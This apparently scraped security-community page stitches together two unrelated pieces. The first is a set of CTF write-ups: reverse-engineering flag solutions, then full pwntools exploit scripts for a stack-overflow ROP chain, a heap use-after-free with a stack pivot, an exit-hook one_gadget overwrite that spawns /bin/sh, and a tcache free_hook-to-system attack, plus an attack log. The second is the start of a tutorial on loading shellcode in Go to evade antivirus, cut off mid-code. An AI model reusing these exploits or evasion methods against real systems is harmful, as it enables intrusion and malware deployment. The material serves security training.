kmp算法,搜索字符串,返回位置,但是比strstr搜索快
test函数,一个简单的异或算法...
#### 题解
首先是strcmp函数,解出对应的第一段d0g3wi11
其次是发现,这里存在寻找m0r3的字符串,并且因为count计数是两次,所以直接记录下来
然后kmp算法,寻找了11b3,和b3tt3r这两个字符串
最后test函数解出来就是
key = "o3v6d4|}9y"
flag = ''
for i in range(len(key)):
flag += chr(ord(key[i])^(i+2))
print flag
m0r3b3tt3r
最后根据重复的位置,把字符串拼接完成:
d0g3wi11b3m0r3m0r3b3tt3r
最后输入了这个字符串,就会输出:
d0gewillbem0rem0rebetter
这就是最后的flag了
## debugging
#### **解题思路：**
ida载入，从字符定位到一个假的流程，但可以从base64字符串上面的数据表定位真实流程的一个分支再不断往前找引用来到main函数：
程序创建了子进程，父进程控制修改子进程的eip为指定函数即我们程序的关键函数。这也是我们下断后程序不会断下的原因（自我创建反调试，这里不展开了）。可通过附加子进程调试。
来到关键函数，首先创建了一个线程函数，对flag{i_am_not_right_but_i_believe_you_can_find_out_what_happened}字符进行快速排序后对程序中的2个码表进行异或解密。
附加调试程序起来：
由于附加调试后是上面解码表已经完成后的位置，所以此时直接使用Findcrypt插件可以找到程序使用了加密算法 blowfish，key :who_am_i
直接看blowfish加密的流程还是比较好辨认的。
来到vm部分，注意每次的操作码都有&ff，所以opcode有大量垃圾数据。可以直接在idapthon中打印出所有opcode看看程序操作顺序。
把关键数据跟随到dump窗口调试时，注意一下即可看到操作1把blowfish加密后的数据转化为了字符串。
剩下自己多跟下，可以发现重复的操作很多，再分析下函数功能即可。
开始初始化了一个链栈和链队列，然后把上面加密了字符串进行依次压栈，再出栈起到倒序的作用，之后把倒序后的字符串进行入队，入队元素个数%4 == 0
时通过一个函数获取当前队列队列中的元素个数n，且从opcode表中取出一个数据data，然后把本次入队的四个元素作为一个整型数据ans，做操作ans -=
n*data，最后就是从opcode表中依次取出最后用来比较的数据，四个字节做一个比较，相等的话count++，因为64个字符有16组，所以最后比较count
== 16即可。
idapython提取出用来加密的数据：
提取出最后用来比较的数据:
解密:
import struct
from Crypto.Cipher import Blowfish
import codecs
a = [49, 102, 49, 53, 53, 53, 101, 49, 50, 99, 56, 98, 48, 51, 54, 57]
enc = [246, 50, 99, 53, 148, 55, 101, 54, 175, 55, 53, 56, 135, 104, 49, 57, 84, 57, 48, 101, 89, 59, 101, 97, 64, 111, 57, 51, 130, 108, 56, 57, 64, 104, 56, 49, 218, 63, 51, 55, 214, 57, 49, 54, 153, 66, 101, 102, 248, 64, 100, 50, 97, 60, 55, 55, 224, 61, 51, 100, 113, 113, 54, 48]
enc = bytes(enc)
ans = []
ans1 = b''
for i in range(0, 64, 4):
ans += list(struct.unpack("i", enc[i:i+4]))
for i in range(16):
ans[i] -= a[i]*(i+1)*4
ans1 += struct.pack("i", ans[i])
ans1 = ans1[::-1]
key = "who_am_i"
def Decrypt(enc,key):
key=key.encode("utf-8")
#enc=enc.encode("utf-8")
cl = Blowfish.new(key, Blowfish.MODE_ECB)
ciphertext = codecs.decode(enc, 'hex_codec')
code = cl.decrypt(ciphertext)
return code
flag = Decrypt(ans1, key)
print(flag)
## ez_android
这是一道不是很好的题 --出题人
拖进gda看一下，发现入口是一个NativeActivity
看了一下好像还有一些Java层的东西，看一下
发现按钮会调用getRes方法，跟踪发现getRes是native方法，还找到了提示flag是否正确的方法。
分析librun.so
找了一下没发现JNI_OnLoad，直接分析getRes方法
从参数中获取输入的flag，可以分析出flag的长度为20，同时将flag复制到内存中
FUN_00013490函数传递了含flag的内存地址，跟进后发现无法解析。推测可能会运行时解密
继续向下分析
发现是一个散列算法，将flag计算后的结果进行散列后与数组中的数据进行比较，如果不符合则弹出提示。
显然关键在于如何找到FUN_00013490的解密函数，检查文件发现entry的数据不正常，可能是存储了加密所需的信息。
如果是一个段加密，那么可能会在so加载时进行解密。同时解密过程需要寻找so基地址和使用mprotect的方式修改内存。不妨从寻找mprotect的调用处着手
发现7处调用mprotecrt的地方，先在第一个地方看看
发现fscanf的输入格式是%p-%p，应该是从maps中寻找地址用的。同时发现这个函数是init_array函数调用的一环。
分析一下这个函数，发现在两个mprotect之间夹着一个循环
可以看到这个循环里会对base_addr加一个偏移的位置与某个数组的某个元素进行异或操作。再将异或后的结果减去当前计数器计数。我太菜了看不懂ghidra这段的伪代码，换个工具
舒服多了，很清楚看到是对下标为计数器余50的元素进行异或，同时可以发现FUN_00013490这个函数位于.anti段中。根据段的偏移和大小来编写程序解密这个段
解密后可以分析整个流程
首先去第一个字符，如果余6的结果是0和3则到FUN_00012508，1和4到FUN_00013644，2和5到FUN_00013788
跟进这个三个函数，发现他们之间的区别在于是否有对异或后的结果加一个值
以FUN_00012508为例，这里换用ida
可见传入的flag的前四个字符会先复制到tmp_arr中，然后与v10指向的数组的每个元素进行异或。这里v10的元素可知为AA,BB,CC,DD。将异或后的所有数相加余3，当为0则进入sub_38CC，为1则进入sub_3964，为2则进入sub_39FC。
先进sub_38CC看看
可以看到flag的前14个字符会与v3中的相关元素进行异或，第5个元素+5，第19个元素与第5个元素异或。其余的两个函数处理过程一样，不过v3的值不同
如何判断到底执行了哪个函数，不妨做一波猜测。猜测前四个字符是flag头，可能是D0g3,d0g3,flag等等。写一个小程序将这些头加密一遍与程序中加密后的数据进行比较，可以得出D0g3的可能性高。
根据猜测可知调用FUN_00013788和sub_39FC。如果没有进行散列，则确定加密流程后便能写出解密流程得到结果。但函数处理完成后会经过散列处理，散列导致的不可逆是本题最大的败笔。出题人再次深感抱歉（出题人太菜了）
如果硬要解，提供两个思路：
1.利用已知信息和产生冲突元素时所确定的先后顺序关系来进行爆破
2.猜flag：根据加密流程可知flag的后6个字符没有经过最后一步的处理，分析散列后flag的明文信息可以确定后6个字符的位置，再根据猜测的flag头进一步减少需要猜测的信息。最后剩下来的元素一一与v3中的值异或，得到产生的明文来猜测
或者其他我不知道的思路
# Pwn
## Web Server
#### 题目考点
http协议，堆栈溢出漏洞利用，orw rop链构造，seccomp保护
#### 简要概述
一个模拟的web服务器, 采用http协议进行通讯, 采用浏览器访问可直接查看web页面。程序开了沙箱, 只能采用open, read,
write来打印flag或者利用lgx::http::send_file函数来获取flag。
#### 漏洞点
在lgx::work::work::handle_post中有个memcpy函数，该函数是将post的数据进行拷贝到dest中，若post的数据过大，则造成堆栈溢出
void __fastcall lgx::work::work::handle_post(lgx::work::work *this)
{
__m128i *v1; // rax
__m128i v2; // xmm0
void *v3; // rdx
bool v4; // zf
void *v5; // [rsp+0h] [rbp-568h]
__int64 v6; // [rsp+8h] [rbp-560h]
__int64 v7; // [rsp+10h] [rbp-558h]
void *v8; // [rsp+20h] [rbp-548h]
void *v9; // [rsp+28h] [rbp-540h]
void *v10; // [rsp+30h] [rbp-538h]
char dest; // [rsp+40h] [rbp-528h]
memcpy(&dest, **((const void ***)this + 2), *(_QWORD *)(*((_QWORD *)this + 2) + 8LL)); // vul
v8 = &v10;
v5 = (void *)34;
v1 = (__m128i *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v8, &v5, 0LL);
v8 = v1;
v10 = v5;
*v1 = _mm_load_si128((const __m128i *)&xmmword_4148F0);
v2 = _mm_load_si128((const __m128i *)&xmmword_414900);
v1[2].m128i_i16[0] = 32034;
v3 = v8;
v1[1] = v2;
v9 = v5;
*((_BYTE *)v5 + (_QWORD)v3) = 0;
v4 = *((_QWORD *)this + 9) == 0LL;
v5 = &v7;
LODWORD(v7) = 1836345390;
WORD2(v7) = 108;
v6 = 5LL;
if ( !v4 )
{
(*((void (__fastcall **)(char *, void **, void **))this + 10))((char *)this + 56, &v5, &v8);
if ( v5 != &v7 )
operator delete(v5);
}
if ( v8 != &v10 )
operator delete(v8);
}
#### 思路
未开启pie，没有pop rdx的相关gadget, 采用__libc_csu_init函数中的gadget来进行调用三个参数的函数, orw打印flag
.text:0000000000413A00 loc_413A00: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000413A00 mov rdx, r14
.text:0000000000413A03 mov rsi, r13
.text:0000000000413A06 mov edi, r12d
.text:0000000000413A09 call qword ptr [r15+rbx*8]
.text:0000000000413A0D add rbx, 1
.text:0000000000413A11 cmp rbp, rbx
.text:0000000000413A14 jnz short loc_413A00
.text:0000000000413A16
.text:0000000000413A16 loc_413A16: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000413A16 add rsp, 8
.text:0000000000413A1A pop rbx
.text:0000000000413A1B pop rbp
.text:0000000000413A1C pop r12
.text:0000000000413A1E pop r13
.text:0000000000413A20 pop r14
.text:0000000000413A22 pop r15
.text:0000000000413A24 retn
#### exp
#!/usr/bin/env python
#-*- coding:utf-8 -*- # Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
elf_path = 'pwn'
# remote server ip and port
server_ip = "axb.d0g3.cn"
server_port = 20100
# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func----------------------------- def db():
if(LOCAL):
gdb.attach(io)
def post(d):
p = b'POST / HTTP/1.1\r\n'
p += b'Content-Length: ' + str(len(d)).encode() + b'\r\n'
p += b'\r\n'
p += d
s(p)
#--------------------------exploit-------------------------- def exploit():
li('exploit...')
pop_rsp = 0x403811
gadget_init = 0x413A1A
gadget_call = 0x413A00
buf = elf.bss() + 0x400
flag_addr = buf
p = b'A' * 0x528
rop = flat([
gadget_init,
0, 1,
0, flag_addr, 0x100, elf.got['read'],
gadget_call,
0, 0, 1,
flag_addr, 0, 0, elf.got['open'],
gadget_call,
0, 0, 1,
3, flag_addr, 0x100, elf.got['read'],
gadget_call,
0, 0, 1,
1, flag_addr, 0x100, elf.got['write'],
gadget_call
])
p += rop
post(p)
s('./flag\x00')
def finish():
ia()
c()
#--------------------------main----------------------------- if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
## LGX DATA PLATFORM
#### 题目考点
http协议，对象堆布局干扰，glibc 2.31下uaf漏洞利用，堆栈迁移，orw，seccomp保护
#### 简要概述
一个采用http协议进行交互的web服务器，提供了add_data，delete_data，get_data等api操作。api交互格式如下:
Add data:[POST method] url =
'/?request=add_data&index=your_data_index&size=your_size', post your data
Delete data:[GET method] url = '/?request=delete_data&index=your_data_index'
Get data:[GET method] url = '/?request=get_data&index=your_data_index'
#### 漏洞点
在删除之后指针没有清0，但是还的需要绕过一个检查机制`if ( *(_DWORD *)(v12 + 328)
)`必须保证里面不会0才可释放内存，而`*(_DWORD *)(v12 + 328)`其实也就是储存的大小，且在释放后对大小进行了清0操作。
lgx::work::work::client:delete函数
if ( *(_DWORD *)(v12 + 328) )
{
v13 = *(void **)(v12 + 320);
if ( v13 )
operator delete[](v13); // uaf
v25 = &s1;
*(_DWORD *)(v12 + 328) = 0;
...
lgx::work::work::client_add函数
*(_DWORD *)(v22 + 328) = v44; //储存该index下的大小
if ( (unsigned int)v44 > 0x400 ) //如果大小大于0x400的话相当于直接跳转到函数末尾，完成该函数的调用。
{
v54 = &s1;
v47 = 49LL;
v37 = (__m128i *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(
&v54,
&v47,
0LL);
v27 = &v51;
v54 = v37;
s1 = v47;
*v37 = _mm_load_si128((const __m128i *)&xmmword_17B00);
v38 = _mm_load_si128((const __m128i *)&xmmword_17B40);
v37[3].m128i_i8[0] = 125;
v37[1] = v38;
v37[2] = _mm_load_si128((const __m128i *)&xmmword_17B50);
v26 = (char *)v54;
v55 = v47;
*((_BYTE *)v54 + v47) = 0;
v25 = *((_QWORD *)v3 + 9) == 0LL;
v51 = &v53;
LODWORD(v53) = 1869834798;
WORD2(v53) = 110;
v52 = 5LL;
if ( !v25 )
{
(*((void (__fastcall **)(signed __int64, void **, void **))v3 + 10))((signed __int64)v3 + 56, &v51, &v54);
goto LABEL_70;
}
goto LABEL_50; // 跳转到函数末尾
}
从以上可以发现，若释放一个正常的数据之后，再原来使用的该index下申请大于0x400的话，构成了uaf漏洞。
#### 思路
由于程序采用c++进行开发的，使用了大量的c++标准容器储存数据，堆布局比较混乱，建议采用最新版pwngdb
中parseheap命令进行解析堆布局，c++容器类频繁构造与析构会干扰正常的malloc与free的次序，开辟的堆大小尽可能保持大于0x100堆，避免c++对象堆布局的干扰。
通过逻辑漏洞造成uaf漏洞，泄露heap和libc地址，采用unsorted bin前置合并与uaf漏洞实现堆重叠，构造fake
chunk实现修改释放后存在tache bin的fd，实现任意地址开辟，为了保证glibc 内存管理检查机制正常开辟内存，需要修复unsorted bin
的fd与bk，也还要提前设置好c++ 对象开辟内存大小的tcache bin, 防止对象开辟内存的干扰。修改free_hook为libc中
rdx的gadget，在堆中构造libc setcontext中rdx相关寄存器赋值的布局，修改rsp实现堆栈迁移，在堆中提前构造orw rop,
然后在free时将flag打印出来。
在libc中快速找rdx与rdi的gadget
objdump -M intel -D libc.so.6 | grep "mov rdx,QWORD PTR \[rdi+0x8\]"
使用如下gadget
154930: 48 8b 57 08 mov rdx,QWORD PTR [rdi+0x8]
对应代码为：
.text:0000000000154930 mov rdx, [rdi+8]
.text:0000000000154934 mov [rsp+0C8h+var_C8], rax
.text:0000000000154938 call qword ptr [rdx+20h]
采用该gadget可以是rdi参数进行转移至rdx，且方便我们使用setcontext函数中的gadget实现寄存器的赋值实现堆栈迁移至堆中。
setcontext + 61处的gadget如下，
.text:00000000000580DD mov rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
.text:000000000005810B jz loc_581C6
...
.text:00000000000581C6 loc_581C6: ; CODE XREF: setcontext+6B↑j
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581E5 ; } // starts at 580A0
.text:00000000000581EC ; __unwind {
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn
然后在堆中布置一下orw rop即可。
#### exp
#!/usr/bin/env python3
#-*- coding:utf-8 -*- # Author: i0gan
# Env: Arch linux
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
elf_path = './lgx-data-platform'
# remote server ip and port
server_ip = "axb.d0g3.cn"
server_port = 20101
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func----------------------------- def db():
if(LOCAL):
gdb.attach(io)
def get(url):
p = 'GET ' + url + ' HTTP/1.1\r\n'
p += '\r\n'
s(p)
def post(url, data):
p = b'POST ' + url.encode() + b' HTTP/1.1\r\n'
p += b'Content-Length: ' + str(len(data)).encode() + b'\r\n'
p += b'\r\n'
p += data
s(p)
def add(i, s, d):
post('/?request=add_data&index=' + str(i) + '&size=' + str(s), d)
ru('HTTP/1.1 200 OK')
def rm(i):
get('/?request=delete_data&index=' + str(i))
ru('HTTP/1.1 200 OK')
def get_data(i):
get('/?request=get_data&index=' + str(i))
ru('HTTP/1.1 200 OK')
#--------------------------exploit-------------------------- def exploit():
li('exploit...')
add(0, 0x400, b'') # 0
add(0x31, 0x37c, b'') # for bypass unsorted bin malloc
add(0x32, 0x37c, b'') # for bypass unsorted bin malloc
add(0x33, 0x348, b'') # for bypass unsorted bin malloc
add(0x34, 0x331, b'') # for bypass unsorted bin malloc
add(0x35, 0x331, b'') # for bypass unsorted bin malloc
rm(0x31)
rm(0x32)
rm(0x33)
rm(0x34)
rm(0x35)
for i in range (16):
add(i, 0x100, b'') # 1
for i in range (7):
rm(i + 1)
rm(8)
add(8, 0x401, b'')
add(2, 0x401, b'')
# leak libc
get_data(8)
ru('"data":"')
leak = u64(io.recv()[-8:-2].ljust(8, b'\x00'))
main_arena_offset = 0x1ebb80
libc_base = leak - main_arena_offset - 96
main_arena = libc_base + main_arena_offset
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 61
gadget = libc_base + 0x1547A0 # local
gadget = libc_base + 0x154930 # remote
ret_addr = libc_base + 0x25679
libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
pop_rdi = libc_base + 0x26b72
pop_rsi = libc_base + 0x27529
pop_rdx_r12 = libc_base + 0x11c1e1 # local
pop_rdx_r12 = libc_base + 0x11c371 # remote
li('libc_base : ' + hex(libc_base))
# leak heap
get_data(2)
ru('"data":"')
leak = u64(io.recv()[-8:-2].ljust(8, b'\x00'))
heap = leak - (0)
li('heap chunk 2 : ' + hex(heap))
rm(9) # for merge
rm(10) # for merge
for i in range (6):
add(i + 0x10, 0x100, b'') # 1
rm(8) # free our large chunk
add(9, 0x401, b'')
rm(9) # add out fake chunk to tcache list
#rop = flat();
set_context = p64(0) * 4 # rdx -> addr
set_context += p64(setcontext) # rdx + 0x20
set_context += p64(0x11111)
set_context = set_context.ljust(0xa0, b'\x00')
set_context += p64(heap + 0x880 + 0x110) # set rsp, point to rop
set_context += p64(ret_addr) # set rcx, avoid push rcx impact on rsp
set_context += b'./flag\x00'
flag_addr = heap + 0x888 + 0xa0 + 0x10
rop = flat([
pop_rdi, flag_addr,
pop_rsi, 0,
libc_open,
pop_rdi, 3,
pop_rsi, flag_addr,
pop_rdx_r12, 0x100, 0,
libc_read,
pop_rdi, 1,
pop_rsi, flag_addr,
#pop_rdx_r12, 0x100, 0,
libc_write,
# pause
pop_rdi, 0,
libc_read
])
p = p64(main_arena + 96) + p64(main_arena + 96)
p = p.ljust(0x100, b'\x00')
p += p64(0) + p64(0x111) # fake chunk 9
p += (p64(free_hook) + set_context).ljust(0x100, b'\x00')
p += p64(0) + p64(0x111) # fake chunk 10
p += rop.ljust(0x100, b'\x00')
p += b'A' * 0x10 # avoid string obj malloc to our fake chunk
add(0x20, 0x320, p) # malloc to our chunk, and make a fake chunk
add(0x21, 0x100, b'')
p = p64(gadget)
p += p64(heap + 0x888) # set rdx pointer to heap set_context addr + 0x20
#db()
# trigger
post('/?request=add_data&index=' + str(0x22) + '&size=' + str(0x100), p)
def finish():
ia()
c()
#--------------------------main----------------------------- if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
#### attack log
┌[logan☮arch]-(~/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform)
└> ./exp
[*] '/run/media/logan/disk1/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform/lgx-data-platform'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to axb.d0g3.cn on port 20101: Done
[*] '/run/media/logan/disk1/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] exploit...
[*] libc_base : 0x7f0929101000
[*] heap chunk 2 : 0x56151b60e090
[*] Switching to interactive mode
Server: LGX_SERVER
Access-Control-Allow-Origin: *
Content-Type: application/json
Content-Length: 43
{"code":"true", "msg":"warning none data!"}flag{722b6d90a64c25782af42d14d784ce1c}
## Einstein
#### 分析
该题首先是个逻辑漏洞,可以导致uaf泄露出main_arena,从而泄露出libc的基地址
其次,由于只能任意地址写三个字节,所以只能靠exit函数_dl_fini+126处的调用来写入(one_gadget)三个字节,这里有可能出现无法写入one_gadget完整的情况,所以该题的exp,打这个题目,是有一定的成功率的...一般来说,尝试三次,就可以成功
#### 详解
首先是泄露libc的基地址,这里uaf的常见套路了
只要name和passwd不等于admin就行了
payload = '{"name":"xxxxx","passwd":"xxxxx"}'
io.sendline(payload)
io.recvuntil('logger:spring login error!\nlogger:')
lib_main = u64(io.recvuntil(' login', drop=True).ljust(8, '\x00'))
print 'lib_main_arena is ',hex(lib_main)
libc_base = lib_main - 88 - 0x3c4b20
print 'libc_base is ',hex(libc_base)
然后是重点exit函数的利用了,网上有很多该函数的利用教程,但是这里由于我增加了libm库,所以具体的偏移量需要自己调试,直接照抄网上的偏移,是不可能成功的
那么调试exit,si单步调试
其中部分内容如下:
si进入exit函数(这里会直接进入_dl_runtime_resolve_xsavec),然后跳过第一个_dl_fixup函数,找到__run_exit_handlers函数,继续进入,找到了_call_tls_dtors进入这个函数
这里有个call rdx(0x7ffff7de7af0),直接进入_dl_fini
0x7ffff7de7b6e <_dl_fini+126> call qword ptr [rip + 0x2163d4] <0x7ffff7dd7c90>
rdi: 0x7ffff7ffd948 (_rtld_global+2312) ◂— 0x0
rsi: 0x1
rdx: 0x7ffff7de7af0 (_dl_fini) ◂— push rbp
rcx: 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe168 ◂— 0x0
0x7ffff7de7b74 <_dl_fini+132> mov ecx, dword ptr [r12]
0x7ffff7de7b78 <_dl_fini+136> test ecx, ecx
0x7ffff7de7b7a <_dl_fini+138> je _dl_fini+80 <0x7ffff7de7b40>
0x7ffff7de7b7c <_dl_fini+140> mov rax, qword ptr [r12 - 8]
0x7ffff7de7b81 <_dl_fini+145> movzx edx, byte ptr [rax + 0x315]
这里我们使用pwndbg计算,偏离量,0x7ffff7dd7c90-libc_base
这样子我们就可以在该地址上写入3个字节,从而实现控制了exit函数的流程
#### exp
#-*- coding:utf-8 –*- from pwn import *
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./sfs"
libcFileName = ""
ip = "0.0.0.0"
port = 10003
Debug = 0
if Debug:
io = process(elfFileName)
gdb.attach(io)
else:
io = remote(ip,port)
#
io.recvuntil('passwd.\n')
payload = '{"name":"xxxxx","passwd":"xxxxx"}'
io.sendline(payload)
io.recvuntil('logger:xxxxx login error!\nlogger:')
lib_main = u64(io.recvuntil(' login', drop=True).ljust(8, '\x00'))
print 'lib_main_arena is ',hex(lib_main)
libc_base = lib_main - 88 - 0x3c4b20
print 'libc_base is ',hex(libc_base)
#
target = libc_base + 0x8f9f48#0x3f1000+0xf08#0x5f0f48
one_gadget = libc_base + 0xf02a4#0xf1147#0x4526a#0x45216#0xf02a4
print 'target is ',hex(target)
print 'one_gadget is ',hex(one_gadget)
sleep(0.1)
for i in range(3):
io.send(p64(target + i))
sleep(0.1)
io.send(p64(one_gadget)[i])
sleep(0.1)
#io.recv()
io.sendline("exec /bin/sh")
io.interactive()
## IO_FILE
#### 思路
存在UAF漏洞，double free tcache_attack攻击IO_FILE之后，泄露libc，再double free
tacche_attack修改free_hook为system
#### exp
from pwn import *
context.log_level='debug'
context.terminal=['deepin-terminal', '-x', 'sh' ,'-c']
elf=ELF("./IO_FILE")
#p=process("./IO_FILE")
p=remote("127.0.0.1", 20002)
libc=ELF("./libc.so.6")
def add(size,des):
p.recvuntil(">")
p.sendline("1")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("ion:")
p.send(des)
def dele(idx):
p.recvuntil(">")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(idx))
add(0x60,'aaa')
dele(0)
dele(0)
add(0x60,p64(0x602080))
add(0x60,'\x60')
add(0x60,'\x60')
payload=p64(0xfdab1800)+p64(0)*3+'\x00'
add(0x60,payload)
leak_vtable=u64(p.recvuntil("exit")[0x58:0x60])
libc_base=leak_vtable-libc.symbols["_IO_file_jumps"]
free_hook=libc_base+libc.symbols["__free_hook"]
system=libc_base+libc.symbols["system"]
add(0x70,"aaa")
dele(5)
dele(5)
add(0x70,p64(free_hook))
add(0x70,"/bin/sh")
add(0x70,p64(system))
dele(7)
#gdb.attach(p)
p.interactive() | 社区文章 |
# golang免杀初尝试
## Author: ILU
## 前言
在之前的文章已经写过了C、Python的方式去实现shellcode的免杀及敏感函数的绕过，其实写了这么多无非就是利用不同的方式打组合拳去绕过AV的检测，剩下的伪装和加壳等操作看两篇文章就好了我感觉没必要单独写一篇怎么去用工具做这些事情。
花了几天的时间学习了golang基础到爬虫，至此开始研究golang的免杀方式，做一下测试的记录。
## 正题
执行shellcode的常规流程：
1. 申请虚拟内存
2. 把shellcode写入虚拟内存
3. 以各种方式调用写入shellcode的虚拟内存
在windows机器中想要shellcode能够执行，肯定离不开Windows中的API函数，golang中能够直接调用的API并不多同样需要导入DLL进行函数调用，那么这里我们来看看如果载入DLL实现函数的调用。
### 1\. 调用DLL方式
#### 0x1 获取DLL句柄的方法
`syscall包`
包含一个到低级操作系统原语的接口。我们将要用这个包里的方法去实现DLL的调用，但是里面的DLL调用方法有多个，这里分别测试下调用的区别。
##### loadlibrary
syscall包实现了loadlibrary的方法，包括后面的前两种调用dll的方式都是在这个函数的基础上进行封装，如果要更深入的挖底层，需要进一步跟进go源码。
func loadlibrary(filename *uint16) (handle uintptr, err Errno)
##### DLL类型（DLL结构）
DLL 实现对单个 DLL 的访问。
type DLL struct {
Name string // DLL名称
Handle Handle // DLL句柄
}
##### LoadDLL
LoadDLL 将命名的 DLL 文件加载到内存中。如果 name 不是绝对路径并且不是 Go 使用的已知系统 DLL，Windows
将在许多位置搜索命名的 DLL，从而导致潜在的 DLL 预加载攻击。使用 `golang.org/x/sys/windows`中的 LazyDLL
以安全的方式加载系统 DLL。
看以上官方文档的意思，LoadDLL此方法可能存在安全隐患，但是对于我们调用shellcode来讲并不需要从目标机器的安全进行考虑，如果想用安全的方法就去安装官方文档推荐的包：`go
get -u golang.org/x/sys/windows`
func LoadDLL(name string ) (* DLL , error )
###### LoadDLL源码
syscall包实现LoadDLL方法的源码，暂时先放在这里，如果免杀效果不好的话我们可以从源码层面入手。
func LoadDLL(name string) (*DLL, error) {
namep, err := UTF16PtrFromString(name)
if err != nil {
return nil, err
}
var h uintptr
var e Errno
if sysdll.IsSystemDLL[name] {
absoluteFilepathp, err := UTF16PtrFromString(systemDirectoryPrefix + name)
if err != nil {
return nil, err
}
h, e = loadsystemlibrary(namep, absoluteFilepathp)
} else {
h, e = loadlibrary(namep)
}
if e != 0 {
return nil, &DLLError{
Err: e,
ObjName: name,
Msg: "Failed to load " + name + ": " + e.Error(),
}
}
d := &DLL{
Name: name,
Handle: Handle(h),
}
return d, nil
}
##### MustLoadDLL
MustLoadDLL 与 LoadDLL 类似，但如果加载操作失败，则会触发panic异常。
func MustLoadDLL(name string) *DLL
###### MustLoadDLL源码
但看源码也能看出这个MustLoadDLL只是简单的对LoadDLL做了一下封装，同样的我们也可以对此源码做修改达到绕过，现在写这个只是yy还没验证。
func MustLoadDLL(name string) *DLL {
d, e := LoadDLL(name)
if e != nil {
panic(e)
}
return d
}
##### LazyDLL类型
LazyDLL 实现对单个 DLL 的访问。 它将延迟 DLL 的加载，直到第一次调用其 Handle 方法或其 LazyProc 的 Addr
方法之一。LazyDLL 受到与 LoadDLL 中记录的相同的 DLL 预加载攻击。使用 `golang.org/x/sys/windows` 中的
LazyDLL 以安全的方式加载系统 DLL。
type LazyDLL struct {
Name string
// 包含过滤或未导出的字段
}
##### NewLazyDLL
NewLazyDLL 创建与 DLL 文件关联的新 LazyDLL。
func NewLazyDLL(name string) *LazyDLL
###### NewLazyDLL源码
func NewLazyDLL(name string) *LazyDLL {
return &LazyDLL{Name: name}
}
以上就是获取DLL句柄的几种方法，可能还不够全面！
#### 0x2 从DLL获取函数的方法
##### getprocaddress
获取函数地址
func getprocaddress(handle uintptr, procname *uint8) (proc uintptr, err Errno)
##### Proc类型
type Proc struct {
Dll *DLL
Name string
addr uintptr
}
##### FindProc （LoadDLL方法）
FindProc 在 DLL d 中搜索名为 name 的过程并返回 *Proc ，如果找到。 如果搜索失败，则返回错误。 <font
color=#F48FB1>翻译过来就是获取函数的地址</font>
func (d *DLL) FindProc(name string) (proc *Proc, err error)
###### FindProc源码
在源码中我们看的出来同样有更底层的方式去获取函数地址。
func (d *DLL) FindProc(name string) (proc *Proc, err error) {
namep, err := BytePtrFromString(name)
if err != nil {
return nil, err
}
